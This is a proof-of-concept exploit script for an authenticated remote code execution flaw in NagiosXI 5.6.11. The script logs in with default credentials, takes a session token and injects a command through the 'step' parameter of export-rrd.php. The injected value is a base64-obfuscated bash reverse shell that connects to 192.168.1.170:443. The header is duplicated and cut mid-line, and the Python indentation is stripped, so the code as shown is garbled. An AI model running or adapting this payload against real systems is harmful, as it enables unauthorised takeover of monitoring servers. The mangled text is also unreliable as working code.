# Title: Postauth RCE in NagiosXI 5.6.11
# Date: 19.03.2020
# Vendor: www.nagios.com
# Vulnerable software: https://www.nagios.com/downloads/nagios-xi/vmware/
# Repo: https://gith # Title: Postauth RCE in NagiosXI 5.6.11
# Date: 19.03.2020
# Vendor: www.nagios.com
# Vulnerable software: https://www.nagios.com/downloads/nagios-xi/vmware/
# Repo: https://github.com/c610/free/


c@kali:~/src/eonila/nagiospox$ cat nagiospox.py
#!/usr/bin/env python
# nagiospox.py - small poc for nagiosxi rce
# 19.03.2020 by code610
#
# more : https://twitter.com/CodySixteen
# https://code610.blogspot.com
#
import sys, re
import requests

target = sys.argv[1]
our_user = 'nagiosadmin'
our_pass = 'nagiosadmin'

def main():
print 'nagios rce poc - vs - %s' % ( target )

sess = requests.session()

baseUrl = target + ':80/nagiosxi/'
checkBaseUrl = sess.get(baseUrl)
checkBaseResp = checkBaseUrl.text

#print checkBaseResp
nsp_patt = "var nsp_str = "(.*?)""

find_nsp = re.compile(nsp_patt)
found_nsp = re.search(find_nsp, checkBaseResp)
if found_nsp:
nsp_val = found_nsp.group(1)
print 'nsp value found: %s' % ( nsp_val )

# we will use nsp value in next login request
loginurl = baseUrl + '/login.php' # ?redirect=/nagiosxi/index.php%3f&noauth=1'
data_login = {
'nsp': nsp_val,
'page': 'auth',
'debug':'',
'pageopt':'login',
'redirect':'http://192.168.1.10/nagiosxi/index.php', # %2Fnagiosxi%2Findex.php%3F',
'username':our_user,
'password':our_pass,
'loginButton':''
}
req = sess.post(loginurl, data=data_login, verify=False, allow_redirects=True)
resp_code = req.status_code
resp = req.text

#print resp_code
#print resp
if resp_code == 200:
print '3rd request now!'
sh = "a|(echo+"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTcwLzQ0MyAwPiYx"|base64+-d+-|sh+-i);#"
shellcode_req = baseUrl + '/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=1584108670&end=1584195130&step=' + sh + '&type=a&nsp=' + nsp_val
dosh = sess.get(shellcode_req, verify=False, allow_redirects=True)
donesh = dosh.text

print donesh


# run me:
if __name__ == '__main__':
main()
c@kali:~/src/eonila/nagiospox$